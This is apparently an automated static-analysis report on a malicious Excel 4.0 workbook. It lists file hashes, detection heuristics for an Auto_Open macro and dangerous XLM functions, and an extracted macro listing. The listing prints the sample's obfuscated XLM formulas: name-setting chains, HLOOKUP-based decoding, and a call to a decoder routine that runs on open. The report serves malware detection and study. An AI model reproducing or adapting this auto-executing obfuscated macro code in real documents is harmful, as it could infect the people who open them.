Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69a2059e454de84b…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:41 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: f88893b14d188e694cd126688928b3cc SHA-1: 7232460255b1d518727aa8f7545df648d2932f7a SHA-256: 69a2059e454de84b1d7d7bca17f4dd1aea54f3f15f637ae27fe3353d11354b8a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6709 bytes
SHA-256: bbfb13390cfebe0556593d210a2061fa3788176a8d236ff314563058d79adee5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FGXGRuO
' 0018     26 LABEL : Cell Value, String Constant - apaakkBNcro len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F191 
' 0018     27 LABEL : Cell Value, String Constant - BDBIRWqvmEqN len=0 
' 0018     23 LABEL : Cell Value, String Constant - DGWXwdzJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - DxQsQN len=0 
' 0018     22 LABEL : Cell Value, String Constant - fJhKqlH len=0 
' 0018     26 LABEL : Cell Value, String Constant - gfTADLZlfIx len=0 
' 0018     25 LABEL : Cell Value, String Constant - gGTOAFrGtV len=0 
' 0018     23 LABEL : Cell Value, String Constant - gWjjrJeb len=0 
' 0018     21 LABEL : Cell Value, String Constant - HzRzeV len=0 
' 0018     20 LABEL : Cell Value, String Constant - JzusR len=0 
' 0018     20 LABEL : Cell Value, String Constant - KxLyr len=0 
' 0018     21 LABEL : Cell Value, String Constant - MUwPAw len=0 
' 0018     26 LABEL : Cell Value, String Constant - oUzWxWcknhs len=0 
' 0018     21 LABEL : Cell Value, String Constant - PqsgFt len=0 
' 0018     23 LABEL : Cell Value, String Constant - qbPONqBD len=0 
' 0018     21 LABEL : Cell Value, String Constant - QWWpra len=0 
' 0018     23 LABEL : Cell Value, String Constant - rfTwODBX len=0 
' 0018     23 LABEL : Cell Value, String Constant - xUpGyprP len=0 
' 0018     26 LABEL : Cell Value, String Constant - ySKVphsGKWk len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZvGgCAQwEIuK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FGXGRuO,R91,"",-191.00000000000000000000
'  FGXGRuO,R92,"",-128.00000000000000000000
'  FGXGRuO,R93,"",110.00000000000000000000
'  FGXGRuO,R94,"",766.00000000000000000000
'  FGXGRuO,R95,"",-412.00000000000000000000
'  FGXGRuO,R96,"",-757.00000000000000000000
'  FGXGRuO,F100,"SET.NAME("apaakkBNcro",0+VALUE("0"))",""
'  FGXGRuO,F105,"SET.NAME("rfTwODBX",apaakkBNcro)",""
'  FGXGRuO,F108,"SET.NAME("MUwPAw",apaakkBNcro)",""
'  FGXGRuO,F112,"SET.NAME("ySKVphsGKWk",COUNTA(HzRzeV))",""
'  FGXGRuO,F114,"SET.NAME("qbPONqBD",COUNTA(DGWXwdzJ))",""
'  FGXGRuO,F118,[],""
'  FGXGRuO,F123,"SET.NAME("PqsgFt","")",""
'  FGXGRuO,F128,"rfTwODBX",""
'  FGXGRuO,F130,"SET.NAME("xUpGyprP",HLOOKUP("*",HzRzeV,rfTwODBX,FALSE))",""
'  FGXGRuO,F133,"DxQsQN",""
'  FGXGRuO,F137,"SET.NAME("gGTOAFrGtV",apaakkBNcro)",""
'  FGXGRuO,F140,[],""
'  FGXGRuO,F143,"gGTOAFrGtV",""
'  FGXGRuO,F147,"KxLyr",""
'  FGXGRuO,F152,"QWWpra",""
'  FGXGRuO,F156,"fJhKqlH",""
'  FGXGRuO,F159,"SET.NAME("BDBIRWqvmEqN",VALUE(HLOOKUP("*",DGWXwdzJ,fJhKqlH,FALSE)))",""
'  FGXGRuO,F163,"oUzWxWcknhs",""
'  FGXGRuO,F166,"PqsgFt",""
'  FGXGRuO,F171,"MUwPAw",""
'  FGXGRuO,F173,NEXT(),""
'  FGXGRuO,F176,"ZvGgCAQwEIuK",""
'  FGXGRuO,F178,[],""
'  FGXGRuO,F181,"gfTADLZlfIx",""
'  FGXGRuO,F185,NEXT(),""
'  FGXGRuO,F187,RETURN(),""
'  FGXGRuO,F214,"SET.NAME("gWjjrJeb",F100)",""
'  FGXGRuO,F217,"HzRzeV",""
'  FGXGRuO,F220,"SET.NAME("DGWXwdzJ",R86C15)",""
'  FGXGRuO,F223,"SET.NAME("gfTADLZlfIx",230)",""
'  FGXGRuO,F226,"SET.NAME("JzusR",6)",""
'  FGXGRuO,F229,gWjjrJeb(),""
'  FGXGRuO,F230,HALT(),""

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